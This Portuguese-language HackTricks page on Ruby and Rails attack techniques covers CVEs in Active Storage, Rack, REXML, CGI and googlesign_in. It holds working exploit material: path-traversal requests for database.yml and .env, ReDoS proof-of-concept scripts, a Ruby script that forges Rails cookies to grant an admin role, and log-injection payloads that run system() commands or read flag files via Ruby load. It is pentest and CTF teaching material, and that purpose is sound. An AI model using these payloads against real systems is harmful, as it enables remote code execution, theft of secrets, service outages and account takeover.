Truques Ruby
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
File upload to RCE
Como explicado em this article, fazer upload de um arquivo .rb em diretórios sensíveis como config/initializers/ pode levar à execução remota de código (RCE) em aplicações Ruby on Rails.
Tips:
- Outras localizações de boot/eager-load que são executadas na inicialização da app também são arriscadas quando são graváveis (por exemplo,
config/initializers/é a clássica). Se encontrar um upload de arquivo arbitrário que caia em qualquer lugar sobconfig/e depois seja avaliado/required, você pode obter RCE no boot. - Procure por builds dev/staging que copiem arquivos controlados pelo usuário para a imagem do container onde o Rails irá carregá-los na inicialização.
Active Storage image transformation → command execution (CVE-2025-24293)
Quando uma aplicação usa Active Storage com image_processing + mini_magick, e passa parâmetros não confiáveis para métodos de transformação de imagem, versões do Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podem permitir injeção de comandos porque alguns métodos de transformação foram permitidos por engano por padrão.
- A pattern vulnerável parece com:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
onde params[:t] e/ou params[:v] são controlados pelo atacante.
-
O que testar durante a avaliação
-
Identifique endpoints que aceitam opções de variant/processing, nomes de transformação ou argumentos arbitrários do ImageMagick.
-
Fuzz
params[:t]eparams[:v]procurando por erros suspeitos ou efeitos colaterais de execução. Se conseguir influenciar o nome do método ou passar argumentos brutos que alcancem o MiniMagick, pode obter execução de código no host que processa imagens. -
Se você tiver apenas acesso de leitura aos variants gerados, tente exfiltração cega via operações ImageMagick criadas especificamente.
-
Remediação/detecções
-
Se vir Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 com Active Storage +
image_processing+mini_magicke transformações controladas pelo usuário, considere explorável. Recomende atualizar e aplicar listas de permissão estritas para métodos/params e uma política do ImageMagick endurecida.
Rack::Static LFI / path traversal (CVE-2025-27610)
Se o stack alvo usa middleware Rack diretamente ou via frameworks, versões de rack anteriores a 2.2.13, 3.0.14 e 3.1.12 permitem Local File Inclusion via Rack::Static quando :root está unset/misconfigured. Travessia codificada em PATH_INFO pode expor arquivos sob o diretório de trabalho do processo ou uma root inesperada.
- Procure por apps que montem
Rack::Staticemconfig.ruou stacks de middleware. Teste travessias codificadas contra paths estáticos, por exemplo:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Ajuste o prefixo para coincidir com os urls: configurados. Se a aplicação responder com o conteúdo do arquivo, provavelmente você tem LFI para qualquer coisa sob o :root resolvido.
- Mitigação: atualize o Rack; garanta que
:rootaponte somente para um diretório de arquivos públicos e esteja explicitamente configurado.
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Rack < 3.0.9.1 e < 2.2.8.1 gastava tempo super-linear ao parsear headers Content-Type: multipart/form-data crafted. Um único POST com uma lista gigante de parâmetros A= pode travar um worker Puma/Unicorn e causar DoS ou starvation da fila de requests.
- Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- Funciona contra qualquer stack baseado em Rack (Rails/Sinatra/Hanami/Grape). Se estiver na frente de nginx/haproxy com keep-alive, repita em paralelo para esgotar workers.
- Corrigido ao tornar o parser linear; procure por versão do gem
rack<3.0.9.1ou <2.2.8.1. Em avaliações, destaque que WAFs raramente bloqueiam isso porque o header é sintaticamente válido.
REXML XML parser ReDoS (CVE-2024-49761)
O gem REXML < 3.3.9 (Ruby 3.1 e anteriores) faz backtracking catastrófico ao parsear referências numéricas de caracteres hex contendo longas sequências de dígitos (por exemplo, �x41;). Qualquer XML processado por REXML ou bibliotecas que o envolvam (SOAP/XML API clients, SAML, uploads SVG) pode ser abusado para exaustão de CPU.
Minimal trigger against a Rails endpoint that parses XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
Se o processo fica ocupado por segundos e a CPU do worker dispara, é provável que esteja vulnerável. O ataque é de baixa largura de banda e também afeta background jobs que ingerem XML.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:
CGI::Cookie.parseera super-linear; strings de cookie enormes (milhares de delimitadores) disparam comportamento O(N²).- O regex de
CGI::Util#escapeElementpermitia ReDoS no escaping de HTML.
Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. Para pentests, envie um cabeçalho Cookie: massivo ou alimente HTML não confiável para código auxiliar e observe o travamento do worker. Combine com keep-alive para amplificar.
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
The googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the proceedto parameter. A malformed URL like proceedto=//attacker.com/%2F.. bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.
Exploit flow:
- A vítima clica em um link do Google Sign-In forjado hospedado pelo attacker.
- After authentication, the gem redirects to attacker-controlled domain, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
- If the app stores short-lived tokens or magic links in flash, this can be turned into account takeover.
During testing, grep Gemfile.lock for googlesign_in < 1.3.0 and try malformed proceedto values. Confirme via Location header e cookie reflection.
Forging/decrypting Rails cookies when secret_key_base is leaked
O Rails encrypts e signs cookies usando chaves derivadas de secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), você geralmente pode decrypt, modify, e re-encrypt os cookies. Isso frequentemente leva a authz bypass se o app armazena roles, user IDs, ou feature flags em cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
Ruby to decrypt/forge cookies
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])
salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”
Modify and re-encrypt (example: escalate role)
plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”
</details>
Notas:
- Aplicações mais antigas podem usar AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, ou serializadores JSON/Marshal. Ajuste salts, cipher, e serializer conforme necessário.
- Em caso de comprometimento/avaliação, rotacione `secret_key_base` para invalidar todos os cookies existentes.
## Veja também (vulns específicas de Ruby/Rails)
- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
Quando uma aplicação (frequentemente um endpoint simples em Rack/Sinatra/Rails) faz ambas as coisas:
- registra uma string controlada pelo usuário literalmente, e
- e, posteriormente, realiza um `load` de um arquivo cujo caminho é derivado dessa mesma string (após `Pathname#cleanpath`),
Frequentemente é possível obter RCE envenenando o log e então forçando a aplicação a `load` o arquivo de log. Primitivas-chave:
- O `load` do Ruby avalia o conteúdo do arquivo alvo como Ruby independentemente da extensão do arquivo. Qualquer arquivo de texto legível cujo conteúdo possa ser interpretado como Ruby será executado.
- `Pathname#cleanpath` colapsa segmentos `.` e `..` sem acessar o sistema de arquivos, permitindo path smuggling: lixo controlado pelo atacante pode ser prefixado para logging enquanto o caminho limpo ainda resolve para o arquivo pretendido a executar (por exemplo, `../logs/error.log`).
### Padrão vulnerável mínimo
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Por que o log pode conter Ruby válido
Logger escreve linhas de prefixo como:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
Em Ruby, # inicia um comentário e 9/2/2025 é apenas aritmética. Para injetar código Ruby válido você precisa:
- Comece seu payload em uma nova linha para que não seja comentado pelo
#na linha INFO; envie uma nova linha inicial (\nou%0A). - Fechar o
[pendente introduzido pela linha INFO. Um truque comum é começar com]e opcionalmente deixar o parser satisfeito com][0]=1. - Em seguida, coloque Ruby arbitrário (por exemplo,
system(...)).
Exemplo do que terminará no log após uma requisição com um parâmetro forjado:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Contrabando de uma única string que tanto registra código quanto resolve para o caminho do log
Queremos uma única string controlada pelo atacante que:
- quando registrada raw, contém nosso Ruby payload, e
- quando passada por
Pathname.new(<input>).cleanpath, resolve para../logs/error.logde modo que o subsequenteloadexecute o arquivo de log recém-envenenado.
Pathname#cleanpath ignora schemes e colapsa componentes de traversal, então o seguinte funciona:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- O
#antes de://garante que Ruby ignore o restante quando o log for executado, enquantocleanpathainda reduz o sufixo para../logs/error.log. - A nova linha inicial quebra a linha INFO;
]fecha o colchete pendente;][0]=1satisfaz o parser.
End-to-end exploitation
- Envie o seguinte como o nome do script de backup (codifique em URL a primeira nova linha como
%0Ase necessário):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- A aplicação registra sua string bruta em
logs/error.log. - A aplicação calcula
cleanpath, que resolve para../logs/error.loge chamaloadsobre ele. - Ruby executa o código que você injetou no log.
Para exfiltrar um arquivo em um ambiente do tipo CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
PoC codificado em URL (o primeiro caractere é uma nova linha):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Referências
- Anúncio de Segurança do Rails: CVE-2025-24293 Active Storage métodos de transformação inseguros (corrigido em 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
- Aviso do GitHub: Rack::Static Local File Inclusion (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection para Ruby RCE (YesWeHack Dojo)
- Documentação do Ruby Pathname.cleanpath
- Ruby Logger
- Como o load do Ruby funciona
- Aviso de ReDoS multipart do Rack (CVE-2024-25126)
- Avisos de segurança do Ruby para CGI / URI (CVE-2025-27219/27220/27221)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


